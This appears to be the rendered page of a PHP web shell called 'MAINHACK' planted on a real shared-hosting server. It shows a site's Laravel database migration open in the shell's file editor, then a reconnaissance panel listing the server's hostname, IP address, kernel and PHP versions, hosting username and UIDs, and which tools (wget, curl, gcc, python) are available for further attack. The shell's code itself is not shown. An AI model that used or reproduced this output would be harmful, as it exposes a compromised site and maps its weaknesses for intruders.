[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: 2023_02_20_141047_create_gifts_table.php
<?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; class CreateGiftsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('gifts', function (Blueprint $table) { $table->increments('id'); $table->integer('user_id')->unsigned(); $table->integer('webinar_id')->unsigned()->nullable(); $table->integer('bundle_id')->unsigned()->nullable(); $table->integer('product_id')->unsigned()->nullable(); $table->string('name'); $table->string('email'); $table->bigInteger('date')->unsigned()->nullable(); $table->text('description')->nullable(); $table->boolean('viewed')->default(false)->comment('for show modal in recipient user panel'); $table->enum('status', ['active', 'pending', 'cancel'])->default('pending'); $table->bigInteger('created_at')->unsigned(); $table->foreign('user_id')->on('users')->references('id')->cascadeOnDelete(); $table->foreign('webinar_id')->on('webinars')->references('id')->cascadeOnDelete(); $table->foreign('bundle_id')->on('bundles')->references('id')->cascadeOnDelete(); $table->foreign('product_id')->on('products')->references('id')->cascadeOnDelete(); }); Schema::table('sales', function (Blueprint $table) { $table->integer('gift_id')->unsigned()->nullable()->after('installment_payment_id'); \Illuminate\Support\Facades\DB::statement("ALTER TABLE `sales` MODIFY COLUMN `type` enum('webinar', 'meeting', 'subscribe', 'promotion', 'registration_package', 'product', 'bundle', 'installment_payment', 'gift') CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL AFTER `payment_method`"); }); Schema::table('cart', function (Blueprint $table) { $table->integer('gift_id')->unsigned()->nullable()->after('promotion_id'); $table->foreign('gift_id')->on('gifts')->references('id')->cascadeOnDelete(); }); Schema::table('order_items', function (Blueprint $table) { $table->integer('gift_id')->unsigned()->nullable()->after('promotion_id'); $table->foreign('gift_id')->on('gifts')->references('id')->cascadeOnDelete(); }); Schema::table('accounting', function (Blueprint $table) { $table->integer('gift_id')->unsigned()->nullable()->after('installment_payment_id'); }); Schema::table('product_orders', function (Blueprint $table) { $table->integer('gift_id')->unsigned()->nullable()->after('installment_order_id'); \Illuminate\Support\Facades\DB::statement("ALTER TABLE `product_orders` MODIFY COLUMN `buyer_id` int UNSIGNED NULL AFTER `seller_id`"); $table->foreign('gift_id')->on('gifts')->references('id')->cascadeOnDelete(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('gifts'); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.86 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285